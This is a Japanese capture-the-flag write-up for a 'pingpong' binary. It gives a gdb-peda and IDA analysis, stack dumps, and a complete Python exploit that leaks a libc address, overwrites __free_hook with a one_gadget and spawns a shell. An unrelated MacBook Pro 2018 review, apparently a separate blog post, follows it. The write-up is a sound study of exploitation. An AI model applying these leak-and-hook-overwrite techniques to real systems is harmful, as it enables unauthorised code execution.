    return struct.unpack("<Q",a.ljust(8, "\0") )[0]

def invert(st):
    ans = []
    for ind in range(len(st)):
        if ind % 2 == 0:
            ans.append( chr(  ord(st[ind]) ^ 0x20)  )
            print( chr( ord(st[ind]) ^ 0x20 ) )
        else:
            ans.append(chr( ord(st[ind]) ))
            print( chr( ord(st[ind]) ))
    return "".join(ans)

# --- main ---
s, f = sock("localhost", 1025)    # 接続

# ここでなにかする
#f.write("<payload>")
#read_until(f)
#f.read(4)
#shell(s)

中身の見方( mainへの飛び方 )

ストリップされているのでgdb-peda$ break mainとかできない
IDAか何かでstartからmainに飛ぶとこを見てmainのアドレス(のオフセット、今回は0x0c43)を調べる
次にgdb-peda$ vmmapでテキストエリアのベースアドレス(今回は0x0000555555554000)を調べる。
足してmainのアドレスになるのでブレークポイントを仕掛ける。b *0x0000555555554000+0x0c43
そしてrunなりcontinueなりする

ちなみにメモリマップ

gdb-peda$ vmmap
Start              End                Perm Name
0x0000555555554000 0x0000555555556000 r-xp /media/sf_work/pingpong
0x0000555555755000 0x0000555555756000 r--p /media/sf_work/pingpong
0x0000555555756000 0x0000555555757000 rw-p /media/sf_work/pingpong
0x0000555555757000 0x0000555555778000 rw-p [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fd3000 0x00007ffff7fd6000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]

処理の中身を読んでいく

今までgdb-pedaとradar2だけで読んでいたが、CLIだけで読むより、適材適所ということで読むときはIDAを使うべきかもしれない。
なので下手な英語で変数名とかコメントとかなんか色々名前つけてわかりやすくした、IDAのファイル(ダウンロードリンク)を見てもらった方が早い。

以下、命令の横に書いてあるアドレスはASLRオフ時の自分の環境の話 (gdb-peda$ vmmpaで見たテキストエリアのベースアドレス0x0000555555554000を差し引くと元のプログラムのアドレスになる)

画像と説明はあんまり対応していない(IDAの画像は変数や関数の名前変えちゃってる)ので画像の方だけみたほうがわかりやすいと思われます

main関数

ロゴの表示( print_logo )

0x555555554c73: call 0x555555554af9(print_logo)
がpingpongのロゴの表示
別に見るところないので省略

メインであるpingやpongの処理 ( pingpong_loop )

0x555555554c7d: call 0x555555554b93(pingpong_loop)
ping:で入力受け付けたりpong:でなんか表示したりする、メインの処理を行う

pingやpongの処理 ( pingpong_loop )

pingとpongをループして処理している

pingの中身 (get_ping_char_and_proccess)

引数は1つ、スタック上のバッファのアドレス。0x7fffffffdb40

文字入力受付

0x555555554a5b: call 0x555555554810
で1文字ずつ入力を受ける。</getchar@plt>

0x555555554a63: cmp BYTE PTR [rbp-0x19],0xff
0x555555554a69: cmp BYTE PTR [rbp-0x19],0xa
で、$rbp-0x19に格納された1文字を0xff(ASLRオフ時のlibcとかのアドレスは0xffが沢山入るので、それをハネるためのイジワル?)0x0a(改行)と比較している
もし0xffでも0x0aでもないなら、またgetcharで一文字受け付ける

終わったら入力文字の長さをチェックする
0x555555554a76: call 0x5555555547e0 </strlen@plt>

23文字のaを入力し、starlenの結果は0x17 = 23になる

つづくmallocのあたりではスタックからヒープに移す準備…
0x555555554a83: call 0x555555554820 </malloc@plt>

偶数番目の文字を大文字(というか0x20とのXOR)

0x555555554a98: and eax,0x1
インデックスのLSB 1bitを見て、偶数と奇数で処理を分ける

0x555555554ac1: xor eax,0x20
インデックスが偶数の場合、0x20とasciiコードのXORをとる。アルファベットなら大文字と小文字が反転することになる。

0x555555554c1b: call 0x555555554800
プリント </printf@plt>

いろいろやったらまた
0x555555554be0: lea rdi,[rip+0x6ae]
に戻ってループ

IDAのファイル(ダウンロードリンク)見てもらったほうが早いが、 ヌル文字で終端させていない
後述の、スタック上のバッファ周りを見てもらうと、スタックの下の方(=メモリアドレス大の方)にちょうどよくlibcの関数(_IO_puts+362)のポインタと、その次に0x0が来ているのがわかる。
これによってうまいことやると、libcの関数のポインタの中身をリークさせることができる。

エクスプロイト

  1. 1回目のping:
  2. ping:のときに入力を受け付けるバッファの後ろ(メモリアドレス大の方)に0x7fffffffdbc8 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp eax,0xffffffff)があるので、それをリークさせる
  3. 出力されたデータは1バイトとびに0x20とXORを取られているので同じことして戻す
  4. そこからlibcのベースアドレスを計算(libcはどれ使うか既知)
  5. 2回目のping:
  6. __free_hookの位置を、さっき求めたlibcのベースアドレスと、事前にASLRオフの状態gdb-peda$ p $__free_hookで検索したアドレスと、libcのベースアドレスから、オフセットを求めておき、__free_hookのランダマイズ後のアドレスを計算する
  7. 「入力した文字が格納される場所」を指すポインタが、「入力した文字が格納される場所」より後方(メモリアドレス大の方、スタックでは下の方)にあるので、「入力した文字が格納される場所」をオーバーフローさせて「入力した文字が格納される場所」を指すポインタを、__free_hookを指すように書き換える
  8. 3回目のping:
  9. __free_hookのアドレスを書き換えて、one_gadget(運がよけりゃ一発でシェルを起動できる)のアドレスにする
  10. 文字入力のping:ののちfreeが呼ばれる場所があるので、そのときに__free_hookが呼ばれてシェル起動
  11. 幸せ

となる

1. リークについて

入力を格納しておくバッファを見る

文字をに入力完了後…


gdb-peda$ tele 0x7fffffffdc40 16
0000| 0x7fffffffdc40 ('a' <repeats 23 times>)
0008| 0x7fffffffdc48 ('a' <repeats 15 times>)
0016| 0x7fffffffdc50 --> 0x61616161616161 ('aaaaaaa')
0024| 0x7fffffffdc58 --> 0x7fffffffdc6f --> 0x57ccc 
0032| 0x7fffffffdc60 --> 0x7fffffffde10 --> 0x1 
0040| 0x7fffffffdc68 --> 0xcc007fffffffdc7f 
0048| 0x7fffffffdc70 --> 0x57c 
0056| 0x7fffffffdc78 --> 0xcc007ffff7dd2620 
0064| 0x7fffffffdc80 --> 0x555555554d18 --> 0x96e2202020202020 
0072| 0x7fffffffdc88 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp    eax,0xffffffff)
0080| 0x7fffffffdc90 --> 0x0 
0088| 0x7fffffffdc98 --> 0x7fffffffdcc0 --> 0x7fffffffdcf0 --> 0x7fffffffdd30 --> 0x555555554c90 (push   r15)
0096| 0x7fffffffdca0 --> 0x555555554860 (xor    ebp,ebp)
0104| 0x7fffffffdca8 --> 0x55555555498d (nop)
0112| 0x7fffffffdcb0 --> 0x7fffffffefec --> 0x70676e69702f2e00 ('')

(オフセット`0x7fffffffdbc8 – 0x7fffffffdc40`を計算して同じバイト数だけ’a’を送って)リークしようとしたあと


gdb-peda$ tele 0x7fffffffdb80 20
0000| 0x7fffffffdb80 ('a' <repeats 72 times>, "\372ǧ\367\377\177")
0008| 0x7fffffffdb88 ('a' <repeats 64 times>, "\372ǧ\367\377\177")
0016| 0x7fffffffdb90 ('a' <repeats 56 times>, "\372ǧ\367\377\177")
0024| 0x7fffffffdb98 ('a' <repeats 48 times>, "\372ǧ\367\377\177")
0032| 0x7fffffffdba0 ('a' <repeats 40 times>, "\372ǧ\367\377\177")
0040| 0x7fffffffdba8 ('a' <repeats 32 times>, "\372ǧ\367\377\177")
0048| 0x7fffffffdbb0 ('a' <repeats 24 times>, "\372ǧ\367\377\177")
0056| 0x7fffffffdbb8 ('a' <repeats 16 times>, "\372ǧ\367\377\177")
0064| 0x7fffffffdbc0 ("aaaaaaaa\372ǧ\367\377\177")
0072| 0x7fffffffdbc8 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp    eax,0xffffffff)
0080| 0x7fffffffdbd0 --> 0x0 

確かめる…aaa...のお尻についているものは、ヌル文字まで読むとたしかに_IO_puts+362のアドレスが入るのでこれをprintすればリークできると確認できる。

gdb-peda$ x/32bx 0x7fffffffdbc0
0x7fffffffdbc0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0x7fffffffdbc8: 0xfa 0xc7 0xa7 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffdbd0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdbd8: 0x00 0xdc 0xff 0xff 0xff 0x7f 0x00 0x00

2. バッファオーバーフロー

先のIDAファイルで関数pingpong_loopからget_ping_char_and_processを呼んだあとスタックを見る…

gdb-peda$ stack 0x28
0000| 0x7fffffffdb30 --> 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push   r15)
0008| 0x7fffffffdb38 --> 0x555555554bfd (mov    QWORD PTR [rbp-0x10],rax)
0016| 0x7fffffffdb40 --> 0x57c
0024| 0x7fffffffdb48 --> 0xcc007ffff7dd2620
0032| 0x7fffffffdb50 --> 0xa ('\n')
0040| 0x7fffffffdb58 --> 0x7fffffffdb6f --> 0x57ccc
0048| 0x7fffffffdb60 --> 0x7fffffffdd10 --> 0x1
0056| 0x7fffffffdb68 --> 0xcc007fffffffdb7f
0064| 0x7fffffffdb70 --> 0x57c
0072| 0x7fffffffdb78 --> 0xcc007ffff7dd2620
0080| 0x7fffffffdb80 --> 0x555555554d18 --> 0x96e2202020202020
0088| 0x7fffffffdb88 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp    eax,0xffffffff)
0096| 0x7fffffffdb90 --> 0x0
0104| 0x7fffffffdb98 --> 0x7fffffffdbc0 --> 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push   r15)
0112| 0x7fffffffdba0 --> 0x555555554860 (xor    ebp,ebp)
0120| 0x7fffffffdba8 --> 0x55555555498d (nop)
0128| 0x7fffffffdbb0 --> 0x7fffffffefec --> 0x70676e69702f2e00 ('')
0136| 0x7fffffffdbb8 --> 0xd9206eb282fc4d00
0144| 0x7fffffffdbc0 --> 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push   r15)
0152| 0x7fffffffdbc8 --> 0x555555554b7c (nop)
0160| 0x7fffffffdbd0 --> 0x7fffffffdd28 --> 0x7fffffffe0fe --> 0x0
0168| 0x7fffffffdbd8 --> 0x7fffffffdb40 --> 0x57c
0176| 0x7fffffffdbe0 --> 0x7ffff7ffe168 --> 0x555555554000 --> 0x10102464c457f
0184| 0x7fffffffdbe8 --> 0xd9206eb282fc4d00
0192| 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push   r15)

となっている。
先述のとおりバッファの開始位置は0x7fffffffdb40で、 そのバッファを指すポインターは0x7fffffffdbd8にある。

0x7fffffffdb38以降は先のIDAファイルでget_ping_char_and_proccessと名付けたサブルーチンのスタックフレーム、
0x7fffffffdbf8 ~ 0x7fffffffdb40は先のIDAファイルでpingpong_loopと名付けたサブルーチンのスタックフレームである。
スタックカナリアが使われているが、スタックフレームを跨いでいないのでなんの障害もなくバッファオーバーフローを利用して、バッファのポインタを書き換えることができる。

なので単に'a'0x7fffffffdbd8 - 0x7fffffffdb40個送り、そのあとに何か送ればポインタ0x7fffffffdbd8を書き換えることができる。

3. onegadget

上までの手順を踏めば、書き込み先のポインタ0x7fffffffdbd8が指す先が書き換えられており、__free_hookを指すようになる。
そこをonegadget(呼べばシェル起動できる)のアドレスで書き換える。何もせずただ送るだけでいい。

エクスプロイトコード

(変数名とかがアレなのはご容赦ください)


#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

# def p(a): return struct.pack("<I",a)
# def u(a): return struct.unpack("<I",a)[0]

def p(a): return struct.pack("<Q",a)
def u(a): 
    return struct.unpack("<Q",a.ljust(8, "\0") )[0]

def invert(st):
    ans = []
    for ind in range(len(st)):
        if ind % 2 == 0:
            ans.append( chr(  ord(st[ind]) ^ 0x20)  )
            print( chr( ord(st[ind]) ^ 0x20 ) )
        else:
            ans.append(chr( ord(st[ind]) ))
            print( chr( ord(st[ind]) ))
    return "".join(ans)

# --- main ---
s, f = sock("localhost", 1025)    # 接続


# ロゴや最初のプロンプトまで読み捨て
print( read_until(f, delim = ":") )

# _IO_puts+362のアドレスをリークさせる
base_addr_input_buffer = 0x7fffffffdc40
base_addr_leak_data = 0x7fffffffdc88
offset_leak_data = base_addr_leak_data - base_addr_input_buffer
f.write('a' * offset_leak_data + "\n") 

# プロンプトの読み捨て
read_until(f, delim=":")

# リークした_IO_puts+362のアドレス...の処理前(改行は使わないので捨てる)
ans = read_until(f)[:-1]

print(ans)
print(invert(ans) )

# 変なエンコードを解除
ans_inverted = invert(ans)

# アドレスに直す
leaked_address = u(ans_inverted[-6:])

print(str(hex(leaked_address  )) )

# _IO_puts+362の、ASLRオフの、ランダマイズされてないときのアドレス
notASLR_fixed_leaked_address = 0x7ffff7a7c7fa
# libcの、ASLRオフでランダマイズされてない時のベースアドレス
notASLR_fixed_base_addr_libc_vmmap = 0x00007ffff7a0d000

# ASLRオンのときのlibcベースアドレスの計算
offset_caused_by_ASLR = leaked_address - notASLR_fixed_leaked_address
base_addr_libc = offset_caused_by_ASLR + notASLR_fixed_base_addr_libc_vmmap
print("libc_base" + str(hex(base_addr_libc)) )

# 文字を保持するスタック上のバッファを指すポインタと、ポインタ自身が指す位置のオフセット
offset_from_buffer_pointer_to_buffer_head = 0x7fffffffdc18 - 0x7fffffffdb80  # 0x7fffffffdbd8(ポインタのアドレス) - 0x7fffffffdb40(ポインタの指すバッファの先頭位置)  のほうがわかりやすい
f.write("a" * offset_from_buffer_pointer_to_buffer_head)

# `gdb-peda$ p &__free_hook`で検索した、ランダマイズされていない時のfree_hookのアドレス
# pwntools か libc databaseを使う
addr_free_hook_notASLR =0x7ffff7dd37a8 
# ランダマイズされてるときのfree_hookのアドレス
offset_free_hook = addr_free_hook_notASLR - notASLR_fixed_base_addr_libc_vmmap
addr_free_hook = offset_free_hook + base_addr_libc

# 「文字を保持するスタック上のバッファを指すポインタ」をfree_hookを指すように書き換える
print("addr_free_hook" + hex(addr_free_hook) )
f.write(p(addr_free_hook) + "\n")

# one gadgetというツールか何かで見つけてきたone gadgetのアドレス
# スタックの状態に依存するとかなんとかで、普通は複数個試す
offset_onegadget = 0x4526a
addr_onegadget = offset_onegadget + base_addr_libc

# free_hookのアドレスをonegadgetのもので書き換える
f.write( p(addr_onegadget) + "\n")

# `ping:`で文字を受け付けたあとにfree()が実行されるところがあるため、free_hookが呼ばれて、
# ここでシェルが取れる

shell(s)                          # 対話シェルへ移行

Macbook Pro 2018 15 inch レビュー

購入したのはMR972J/Aのシルバー、SSDが512GBのモデルです。

一切のカスタムなしでPCボンバーにて本体価格27.5万円で購入しました。
自然故障と過失故障をカバーする3年保証プレミアムプラン2.3万円をつけたので、手数料含めるとだいたい30万円くらいです。

9月11日の14時に注文し、発送は同日17時、届いたのは9月13日11時です。 札幌→関東都市圏です。

購入理由

いままで使っていたMacbook Pro 2015 13inchに限界を感じたためです。
SSDが256GB、メモリが8GBのデュアルコアCPUだと性能的に限界を感じることが多々あった+キーボードがへたってきた、ということで買い換えたくなりました。

買い替え先として2018 13inchは、より軽く安くて色々ナイスな機種が他にある + 今まで13インチだったので代わり映えなし なのでナシ。
ということで15インチにしました。

レビュー

速い!

いままでearly 2015の13inchでしたから、体感で速いのがわかります。
数GBあるCSVをPandasで扱うとか、そういう重たい作業が体感でわかるほど速い。 (そんなもの、前やってたようにリモートのメモリ128GB、物理コア数20のハイパワーマシンで済ませば良いことではありますが…)

ちなみにmacOSはゲームが得意ではありません(Metal APIを使わないようなゲームで使われてるようなグラフィック関係の機能が弱い?)が、boot campで動かすWindows10上ならJust Cause 3も快適に遊べます。
ゲームをやっているときは爆熱になり、ヒンジからキーボード3列め(Q,W,E,R…が並んでいるところ)までは結構熱くなります。こういうときretina13インチだと一緒に爆熱になっていたパームレストは、ぜんぜん熱くならないので快適です。

普通に使ってるだけならそうでもないです。
重い作業をさせるとやっぱり熱くなります。

しかし高負荷時のMacbook Pro early2015 13インチよりは、パームレストが熱くなりません。大きいから?それともヒートシンクが大きかったり、ファンが2つあったりと冷却系が豪華だから?

ファンの回転数を取得するアプリで見ていたところ、AppleのノートPCは、電池持ちか静音性能を気にしているのか、本当に熱くなるまでファンの回転数を上げないです。これによって膝上使用だと不快な温度になってからようやく冷却が始まるみたい。(AirもPro retinaもだけど)

私はファンの回転数を制御するMacs Fan Controlを使用して、外側が熱くなる前にファンの回転数を上げるようにしています。

持ち運び

手持ちカバン+満員電車だと気になるかな…って感じです。
リュックだと気にならないが、15インチサイズに対応しているか要注意。
体積のわりに軽いので、持ってる分にはそんな重たくは感じません。

Macbook Airは1.3kg、Macbook Pro early2015 13inchは1.5kg、今回買った2018 15inchは1.8kgとなっています。
他の15inchも軽めのモデルでもこのくらいの重さにはなってしまうので、仕方ないです。
逆に13inchだともっと軽いモデルもあるので、OSに縛りがなければ軽い機種を買ったほうがよいと思います。

私の持ってるラップトップはほとんどが重い(12インチや13インチで1.5kg程度)ので別に平気ですが、普段1kg以下の超軽量モデルを使っている人は重量通りに苦しいかもしれません。

キーボード

静音性は、電気屋でMacbook Pro 2017と比べたところ2018は確実に静かになっています。
しかしポコポコという音がします。割と静かに押しているのにも関わらずです。

キータッチをThinkpadのT480sなどと比べると、向こうのほうが少しいいかなと思います。
ただX1 carbon 2018との比較だと、Macbook Proでも良いと思います。X1 carbonは薄型&軽量化のせいかぶにぶにしたタッチで私好みではありませんでした。

タッチと静音性を高レベルでクリアする良いキーボードが欲しければThinkpadを選ぶべきです…。

この点は本当に惜しいのですが、Macbook Proは指の動きを最小にして高速に入力する場合、キーストロークの薄さがプラスに働いている気がするのでよしとしましょう。

最後に、許せないのはカーソルキーの配置で、左右カーソルキーが普通のキーと同じ大きさのため、手触りで感じることができずfnキーと間違って押したりしてしまいます。touch barよりもこっちが問題ではないかと思っています。

touch bar

あまり使ってない機能なのでそんなにレビューできないです。
触り心地は良いし反射防止も優秀です。

強いていうなら、シーク操作など以外は、全部ショートカットキーでも代用できるようなものばかりな印象です。LinuxやUNIXが好きな人はキーボード操作も大好きだと思うので、そういう人には無用の長物感があります。
YouTubeのシーク操作も、SafariではできるけどGoogle Chromeだとできないっぽいですし…。
touch barを有効活用するソフトを多用する人生だとまた評価が変わるかもしれませんが、電池持ちや値段が改善されるなら外してほしいです。

使いやすさ

画面が大きくて大満足!前より数センチ大きくなっただけですが、Lightroomの操作がしやすくなりました。
あと文字が大きくなったので目の負担が少し減りました。
CLI操作メインでもいろいろな一覧性が高まって便利です。

あとトラックパッドがでかすぎる気がします。

スピーカー

early 2015 13inchと比べると最大音量がすごく大きいです。ビジネス用ラップトップだと、プレゼンの時に会場のスピーカーが使えない場合でも、本体のスピーカーで賄えるように最大音量がすごく大きいことがありますが、それよりデカイ気がします。
音質は…early 2015 13inchと比べて確実に上がっていますが、まぁ旧機種でも満足いく範囲だったと思います。
音量が小さいとearly2015 13inchでも良いというかそっちの方がバランス良い気がしますが、音量を大きくするとはっきりと2018 15inchのほうが音質が良いことがわかります。

Macbook Proの音を聞いた後だと、Thinkpadのスピーカーとかショボすぎて涙が出てきますから…。
でもラップトップは音楽聴く機材じゃないんでそれでいいんですけどね。

電池持ち

懸念していましたが、軽い作業ならearly2015 13inchより持つ気がします。
レビューサイトを見ると同じ2018モデルでも軽い作業なら13インチより持つというテスト結果もありますが…この辺はよくわかりません。

ただしCPU、特にGPUをぶん回す作業するとがんがん減ってきます。

総合

30万円もしましたが重さと大きさ以外は大満足です。
3年間はこれで生きていけそうです。無理だったら売ってThinkpad買います。

購入したアクセサリー

カバー

  • スキンシールでも良いがカドは守れないしぶつけた時のヘコミも防げないのでハードカバーにした。防御力上昇の代わりに体感ではかなり重くなる

液晶保護フィルム

  • コーティング剥がれ問題とか怖いし、持ち運んでいると液晶にキーボードと擦れて跡がついてしまう。少し反射が増えるけど必須だと思う

USB type-C 多機能ハブ

  • type-Cしかないので必須。今回は2000円でUSB3.0が2個、SD/microSDスロット、HDMIがついたものを購入。

5A USB PD対応ケーブル

  • 純正ケーブルは汚れやすいので購入。よく売ってるUSB PD対応ケーブルは3Aまでが多いので注意して買うべし。15インチ向けの87W充電器の能力をフルに使うには、5A対応のケーブルが必要。